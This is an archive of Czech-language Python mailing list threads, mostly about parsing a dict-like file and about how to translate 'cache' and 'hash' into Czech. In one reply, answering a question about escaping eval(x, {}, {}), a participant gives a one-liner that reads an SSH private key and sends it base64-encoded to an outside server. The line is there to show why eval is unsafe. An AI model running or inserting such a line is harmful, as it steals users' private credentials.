[python] eval je nebezpečný, ale i užit ečný (bylo parsing souboru)
Tomas Hnizdil Mam soubor, ve kterem mam textova data ve formatu dictionary tj. '{'KLIC': 'hodnota', .. {'SUBSLOVNIK': 'hodnota' } ...} Potrebuji zjistit hodnotu dvou klicu, ktere jsou umitsteny skoro na konci toho slovniku. Vsechno je to ulozeno jako jedna radka a ma to v prumeru 6000 znaku, prijde mi proto neefektivni to cist od zacatku a navic to nacitat Petr Messner pokud to vypadá jako JSON, asi nejlepší bude použít na to nějakou knihovnu, jak už tu zaznělo. Další zmíněná možnost, eval, se mi moc nelíbí. Do stohu bych se sirkama taky nelezl a dětem bych nedával ostrý nůž na hraní. Je to záležitost volby. Pokud jde o utilitku narychlo, pro vlastní potřebu, je podle mě použití eval() bez problémů. Nebezpečnost eval() je úzce spojená se znalostí jeho vstupu. Pokud jsem schopen ohlídat, že tam nic špatného nepronikne, je to OK. Záleží na tom, kdo ten zpracovávaný soubor připravuje. Je jasné, že do webové služby by se to cpát nemělo. Modul json je od Python 2.6 mezi standardními moduly. Mějte se fajn, Petr ___ Python mailing list Python@py.cz http://www.py.cz/mailman/listinfo/python
[python] OT: překlad cache, hash
Zdravím všechny, Tohle je spíš pro lidi, kdo kromě vlastního názoru mají i nějakou zkušenost... Co to je cache a hash ví (aspoň přibližně) každý, kdo trochu k počítačům čuchnul. Není to problém chápat, není problém to používat v hovoru keš, heš. Problém je rozlišit folklór a slang od něčeho, co snese papír knížky. hash -- ve smyslu speciální hodnoty, která vzniká jako příznak zpracovaného obsahu. (Příbuzné přejaté slovo hašé -- sekané maso...) cache -- vyrovnávací paměť (spíš u hardware), ale také mechanismus použití obsahu (rozhodnutí, kdy použít a kdy ne, kdy získat novou hodnotu ze zdroje... ve smyslu funkce HTTP protokolu, např.) Teď ta otázka... Jak ty pojmy psát česky? Kde, při jakých příležitostech, ... jste nějaké české pokusy viděli? Není to věc logiky. Chce to sebrané zkušenosti a braingstorming (tj. klidně i blbosti ;) Díky, Petr ___ Python mailing list Python@py.cz http://www.py.cz/mailman/listinfo/python
Re: [python] OT: překlad cache, hash
Hash function se do cestiny preklada jako rozptylovaci funkce. Nedavno jsem si ale delal nejake experimenty na google a zjistil jsem, ze nejcasteji se proste pise hashovaci funkce, coz i mne prijde rozumne. U cache moc nevim, ale nevim proc by se u HTTP protokolu take nemohlo pouzit vyrovnavaci pamet, funguje to preci uplne stejne jako v tom HW. Kdyz mate v Hardware viceprocesorovy system, tak vyrovnavaci pamet musi zajistit , zda obsahuje aktualni data, coz je presne to same, co popisujete u HTTP, nebo ne? Princip vyrovnavaci pameti spociva v tom, ze je rychlejsi nez vlastni zdroj a pouzije se tedy vzdy, kdyz obsahuje platna data. Galloth 2010/5/6 Petr Přikryl prik...@atlas.cz: Zdravím všechny, Tohle je spíš pro lidi, kdo kromě vlastního názoru mají i nějakou zkušenost... Co to je cache a hash ví (aspoň přibližně) každý, kdo trochu k počítačům čuchnul. Není to problém chápat, není problém to používat v hovoru keš, heš. Problém je rozlišit folklór a slang od něčeho, co snese papír knížky. hash -- ve smyslu speciální hodnoty, která vzniká jako příznak zpracovaného obsahu. (Příbuzné přejaté slovo hašé -- sekané maso...) cache -- vyrovnávací paměť (spíš u hardware), ale také mechanismus použití obsahu (rozhodnutí, kdy použít a kdy ne, kdy získat novou hodnotu ze zdroje... ve smyslu funkce HTTP protokolu, např.) Teď ta otázka... Jak ty pojmy psát česky? Kde, při jakých příležitostech, ... jste nějaké české pokusy viděli? Není to věc logiky. Chce to sebrané zkušenosti a braingstorming (tj. klidně i blbosti ;) Díky, Petr ___ Python mailing list Python@py.cz http://www.py.cz/mailman/listinfo/python -- Jan Kastil gall...@jabbim.cz ___ Python mailing list Python@py.cz http://www.py.cz/mailman/listinfo/python
Re: [python] OT: překlad cache, hash
Galloth Hash function se do cestiny preklada jako rozptylovaci funkce. Nedavno jsem si ale delal nejake experimenty na google a zjistil jsem, ze nejcasteji se proste pise hashovaci funkce, coz i mne prijde rozumne. Ano. Ten pojem je OK, ale to, co potřebuju, je to trošku něco jiného. Pojem rozptylovací funkce se používá v souvislosti s vyhledávacími tabulkami (hash table), kde se snažíme o rovnoměrné rozptýlení hodnot do celočíselného intervalu. Tady jde spíš o to, že se z velkého vzorku dat vyrobí malý příznakový vzorek, podle kterého se dá identifikovat ten velký. V tomto smyslu nemusí být (a nebývá) hash hodnota celočíselná. V takových souvislostech ale ztrácí smysl pojem rozptylovací funkce. Svůj pohled, který s pojmem rozptylovací funkce souvisí, jsem kdysi vyjádřil tady http://www.skil.cz/python/cztuttrn.html#Pdata_hash Ale například u HTTP protokolu se hash dokumentu používá jako příznak konkrétního obsahu dokumentu. Je to trošku něco jiného. Nemusí to být hodnota kvalitně rozptýlená. Musí to být hodnota, která je pokud možno 1 : 1 přiřaditelná k řetězci, z kterého vznikla. Jsou na ni tedy jiné nároky. Na rozdíl od vyhledávacích tabulek nechceme vůbec připustit možnosti kolize (pokud možno žádná synonyma). Dá se to sice různě opsat, ale je to natolik frekventované a specifické slovo, že se pak stejně za opis musí napsat do závorky hash. O cache to platí ještě víc (ještě frekventovanější) -- alespoň v tom, co překládám. U cache moc nevim, ale nevim proc by se u HTTP protokolu take nemohlo pouzit vyrovnavaci pamet, funguje to preci uplne stejne jako v tom HW. Kdyz mate v Hardware viceprocesorovy system, tak vyrovnavaci pamet musi zajistit , zda obsahuje aktualni data, coz je presne to same, co popisujete u HTTP, nebo ne? Princip vyrovnavaci pameti spociva v tom, ze je rychlejsi nez vlastni zdroj a pouzije se tedy vzdy, kdyz obsahuje platna data. Ano. Asi je to úplně stejné (z abstraktního hlediska). Používání je trochu komplikovanější, než u hardware (složitější pravidla), ale principiálně to tak je. Problém je, jak rozumně překládat třeba caching (jako činnost), caching headers (jako relativně stručné označení něčeho konkrétního). Každopádně díky za příspěvek, Petr Petr Přikryl Co to je cache a hash ví (aspoň přibližně) každý, kdo trochu k počítačům čuchnul. Není to problém chápat, není problém to používat v hovoru keš, heš. Problém je rozlišit folklór a slang od něčeho, co snese papír knížky. hash -- ve smyslu speciální hodnoty, která vzniká jako příznak zpracovaného obsahu. (Příbuzné přejaté slovo hašé -- sekané maso...) cache -- vyrovnávací paměť (spíš u hardware), ale také mechanismus použití obsahu (rozhodnutí, kdy použít a kdy ne, kdy získat novou hodnotu ze zdroje... ve smyslu funkce HTTP protokolu, např.) Teď ta otázka... Jak ty pojmy psát česky? Kde, při jakých příležitostech, ... jste nějaké české pokusy viděli? Není to věc logiky. Chce to sebrané zkušenosti a braingstorming (tj. klidně i blbosti ;) ___ Python mailing list Python@py.cz http://www.py.cz/mailman/listinfo/python
Re: [python] OT: překlad cache, hash
Otazkou ale je, jestli ma smysl jeden anglicky vyraz prekladat na vice ceskych vyrazu podle kontextu. Nechci byt stoural, ale prijde mi to jako mateni ctenare, pokud ctenar zna pojem z trochu jine oblasti (treba tu cache s HW) zakladni princip mu bude jasny hned jak uvidi nazev. Pokud se to ale bude prekladat podle kontextu, tak to bude studovat aby si nakonec rekl aha, to je vlasne cache Galloth 2010/5/6 Petr Přikryl prik...@atlas.cz: Galloth Hash function se do cestiny preklada jako rozptylovaci funkce. Nedavno jsem si ale delal nejake experimenty na google a zjistil jsem, ze nejcasteji se proste pise hashovaci funkce, coz i mne prijde rozumne. Ano. Ten pojem je OK, ale to, co potřebuju, je to trošku něco jiného. Pojem rozptylovací funkce se používá v souvislosti s vyhledávacími tabulkami (hash table), kde se snažíme o rovnoměrné rozptýlení hodnot do celočíselného intervalu. Tady jde spíš o to, že se z velkého vzorku dat vyrobí malý příznakový vzorek, podle kterého se dá identifikovat ten velký. V tomto smyslu nemusí být (a nebývá) hash hodnota celočíselná. V takových souvislostech ale ztrácí smysl pojem rozptylovací funkce. Svůj pohled, který s pojmem rozptylovací funkce souvisí, jsem kdysi vyjádřil tady http://www.skil.cz/python/cztuttrn.html#Pdata_hash Ale například u HTTP protokolu se hash dokumentu používá jako příznak konkrétního obsahu dokumentu. Je to trošku něco jiného. Nemusí to být hodnota kvalitně rozptýlená. Musí to být hodnota, která je pokud možno 1 : 1 přiřaditelná k řetězci, z kterého vznikla. Jsou na ni tedy jiné nároky. Na rozdíl od vyhledávacích tabulek nechceme vůbec připustit možnosti kolize (pokud možno žádná synonyma). Tady bych oponoval pokud funkce nebude poskytovat kvalitne rozptylene vysledky, sance kolize naopak vzroste. Protoze sance kolize jsou nejmensi prave v pripade, ze se kazdy bod s vystupniho intervalu pouziva stejne casto. Jako pojem by se tedy myslo rozptylovaci funkce mohlo pouzit podepisovaci funkce. Protoze funguje jako podpis dokumentu (kazdy dokument ma svuj a jedinecny) Dá se to sice různě opsat, ale je to natolik frekventované a specifické slovo, že se pak stejně za opis musí napsat do závorky hash. O cache to platí ještě víc (ještě frekventovanější) -- alespoň v tom, co překládám. U cache moc nevim, ale nevim proc by se u HTTP protokolu take nemohlo pouzit vyrovnavaci pamet, funguje to preci uplne stejne jako v tom HW. Kdyz mate v Hardware viceprocesorovy system, tak vyrovnavaci pamet musi zajistit , zda obsahuje aktualni data, coz je presne to same, co popisujete u HTTP, nebo ne? Princip vyrovnavaci pameti spociva v tom, ze je rychlejsi nez vlastni zdroj a pouzije se tedy vzdy, kdyz obsahuje platna data. Ano. Asi je to úplně stejné (z abstraktního hlediska). Používání je trochu komplikovanější, než u hardware (složitější pravidla), ale principiálně to tak je. Problém je, jak rozumně překládat třeba caching (jako činnost), caching headers (jako relativně stručné označení něčeho konkrétního). Každopádně díky za příspěvek, Petr Petr Přikryl Co to je cache a hash ví (aspoň přibližně) každý, kdo trochu k počítačům čuchnul. Není to problém chápat, není problém to používat v hovoru keš, heš. Problém je rozlišit folklór a slang od něčeho, co snese papír knížky. hash -- ve smyslu speciální hodnoty, která vzniká jako příznak zpracovaného obsahu. (Příbuzné přejaté slovo hašé -- sekané maso...) cache -- vyrovnávací paměť (spíš u hardware), ale také mechanismus použití obsahu (rozhodnutí, kdy použít a kdy ne, kdy získat novou hodnotu ze zdroje... ve smyslu funkce HTTP protokolu, např.) Teď ta otázka... Jak ty pojmy psát česky? Kde, při jakých příležitostech, ... jste nějaké české pokusy viděli? Není to věc logiky. Chce to sebrané zkušenosti a braingstorming (tj. klidně i blbosti ;) ___ Python mailing list Python@py.cz http://www.py.cz/mailman/listinfo/python -- Jan Kastil gall...@jabbim.cz ___ Python mailing list Python@py.cz http://www.py.cz/mailman/listinfo/python
Re: [python] parsing souboru
Petr Messner: eval(x, {}, {}) Jakým X se dá z takové konstrukce utéci? eval(__import__('urllib2').urlopen('http://messa.cz/?pepovoklic='+__import__('base64').urlsafe_b64encode(open('/home/pepa/.ssh/id_dsa').read())).read(), {}, {}) Tak to je odpoved, az srdecko zaplesalo :-D Myslim, ze je na case zavest soutez o prispevek mesice... V. ___ Python mailing list Python@py.cz http://www.py.cz/mailman/listinfo/python
Re: [python] OT: překlad cache, hash
2010/5/6 Petr Přikryl prik...@atlas.cz Zdravím všechny, Tohle je spíš pro lidi, kdo kromě vlastního názoru mají i nějakou zkušenost... Co to je cache a hash ví (aspoň přibližně) každý, kdo trochu k počítačům čuchnul. Není to problém chápat, není problém to používat v hovoru keš, heš. Problém je rozlišit folklór a slang od něčeho, co snese papír knížky. hash -- ve smyslu speciální hodnoty, která vzniká jako příznak zpracovaného obsahu. (Příbuzné přejaté slovo hašé -- sekané maso...) cache -- vyrovnávací paměť (spíš u hardware), ale také mechanismus použití obsahu (rozhodnutí, kdy použít a kdy ne, kdy získat novou hodnotu ze zdroje... ve smyslu funkce HTTP protokolu, např.) Teď ta otázka... Jak ty pojmy psát česky? Kde, při jakých příležitostech, ... jste nějaké české pokusy viděli? Není to věc logiky. Chce to sebrané zkušenosti a braingstorming (tj. klidně i blbosti ;) Díky, Petr Hmm, podle mně je překládání těchhle konkrétních slov nesmysl - většina textů stejně používá anglické výrazy a tak čtenář nepochopí českou variantu, popřípadě nováček který se s pojmi setká poprvé (ať už v anglické či české verzi) tak bude později zmaten. Taktéž pro dohledávání informací je mnohem lepší angličtina než čeština... ___ Python mailing list Python@py.cz http://www.py.cz/mailman/listinfo/python
Re: [python] OT: překlad cache, hash
On 6 kvě, 22:43, Visgean Skeloru visg...@gmail.com wrote: 2010/5/6 Petr Přikryl prik...@atlas.cz Zdravím všechny, Tohle je spíš pro lidi, kdo kromě vlastního názoru mají i nějakou zkušenost... Co to je cache a hash ví (aspoň přibližně) každý, kdo trochu k počítačům čuchnul. Není to problém chápat, není problém to používat v hovoru keš, heš. Problém je rozlišit folklór a slang od něčeho, co snese papír knížky. hash -- ve smyslu speciální hodnoty, která vzniká jako příznak zpracovaného obsahu. (Příbuzné přejaté slovo hašé -- sekané maso...) cache -- vyrovnávací paměť (spíš u hardware), ale také mechanismus použití obsahu (rozhodnutí, kdy použít a kdy ne, kdy získat novou hodnotu ze zdroje... ve smyslu funkce HTTP protokolu, např.) Teď ta otázka... Jak ty pojmy psát česky? Kde, při jakých příležitostech, ... jste nějaké české pokusy viděli? Není to věc logiky. Chce to sebrané zkušenosti a braingstorming (tj. klidně i blbosti ;) Díky, Petr Hmm, podle mně je překládání těchhle konkrétních slov nesmysl - většina textů stejně používá anglické výrazy a tak čtenář nepochopí českou variantu, popřípadě nováček který se s pojmi setká poprvé (ať už v anglické či české verzi) tak bude později zmaten. Taktéž pro dohledávání informací je mnohem lepší angličtina než čeština... take bych zrovna tyhle slova neprekladal . ___ Python mailing list Python@py.cz http://www.py.cz/mailman/listinfo/python